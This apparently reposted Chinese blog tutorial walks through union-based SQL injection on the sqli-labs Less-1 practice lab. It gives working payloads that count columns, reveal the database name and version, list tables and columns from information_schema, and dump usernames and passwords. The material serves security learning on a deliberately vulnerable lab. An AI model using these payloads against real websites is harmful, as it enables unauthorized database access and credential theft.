目录
1.根据注入位置数据类型将sql注入分类(以localhost/sqli-labs/less-1为例子)
3.利用union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数
4.利用函数database(),user(),version()可以得到所侦测数据库的数据库名,用户名和版本号
1.根据注入位置数据类型将sql注入分类(以localhost/sqli-labs/less-1为例子)
2.利用order判断字段数
Order by x(数字) 正确与错误的正常值 正确网页正常显示,错误网页报错
?id=1' order by 3 ---
3.利用union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数
?id=-1' union select 1,2,3 -- -
4.利用函数database(),user(),version()可以得到所侦测数据库的数据库名,用户名和版本号
?id=-1' union select 1,database(),version() -- -
5.利用 union select 联合查询,获取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -
6.利用 union select 联合查询,获取字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' -- -
7.利用 union select 联合查询,获取字段值
?id=-1' union select 1,2,group_concat(username,':',password) from users -- -
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/m0_63127854/article/details/125731511